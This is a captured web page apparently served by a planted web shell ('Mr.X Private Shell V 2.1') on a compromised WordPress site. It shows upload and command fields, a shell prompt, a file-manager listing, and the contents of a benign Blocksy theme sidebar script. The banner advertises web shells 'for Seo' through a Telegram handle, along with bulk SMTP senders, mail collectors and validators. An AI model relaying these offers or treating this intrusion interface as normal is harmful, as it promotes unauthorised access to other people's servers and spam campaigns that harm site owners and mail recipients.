__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
import {
	changeTagName,
	getOptionFor,
	responsiveClassesFor,
	watchOptionsWithPrefix,
} from './helpers'

watchOptionsWithPrefix({
	getOptionsForPrefix: ({ prefix }) => [
		`${prefix}_sidebar_position`,
		'separated_widgets',
		'widgets_title_wrapper',
		'sidebar_type',
		'sidebar_visibility',
		'sidebar_stick_behavior',
	],

	render: ({ prefix }) => {
		if (getOptionFor('sidebar_position', prefix)) {
			const sidebarContainer = document.querySelector('[data-sidebar]')

			if (sidebarContainer) {
				sidebarContainer.dataset.sidebar = getOptionFor(
					'sidebar_position',
					prefix
				)
			}
		}

		const sidebar = document.querySelector('#sidebar .ct-sidebar')

		if (!sidebar) return

		sidebar.parentNode.dataset.type = getOptionFor('sidebar_type')

		sidebar.removeAttribute('data-widgets')

		if (
			getOptionFor('separated_widgets') === 'yes' &&
			getOptionFor('sidebar_type') === 'type-2'
		) {
			document.querySelector('.ct-sidebar').dataset.widgets = 'separated'
		}

		sidebar.removeAttribute('data-sticky')

		if (getOptionFor('has_sticky_sidebar') === 'yes') {
			sidebar.dataset.sticky =
				getOptionFor('sidebar_stick_behavior') === 'sidebar'
					? 'sidebar'
					: 'widgets'
		}

		;[...document.querySelectorAll('.widget-title')].map((el) =>
			changeTagName(el, wp.customize('widgets_title_wrapper')())
		)

		responsiveClassesFor('sidebar_visibility', sidebar.parentNode)
		window.ctEvents.trigger('blocksy:frontend:init')
	},
})

Filemanager

Name Type Size Permission Actions
helpers Folder 0775
single Folder 0775
template-parts Folder 0775
variables Folder 0775
woocommerce Folder 0775
archive.js File 1.28 KB 0775
back-to-top-link.js File 629 B 0775
builder.js File 12.28 KB 0775
comments.js File 2.04 KB 0775
featured_image.js File 1.32 KB 0775
general.js File 469 B 0775
helpers.js File 7.86 KB 0775
hero-section.js File 13.49 KB 0775
location.js File 445 B 0775
misc.js File 273 B 0775
pagination.js File 3.28 KB 0775
sidebar.js File 1.43 KB 0775
single.js File 4.6 KB 0775
variables.js File 11.33 KB 0775
Filemanager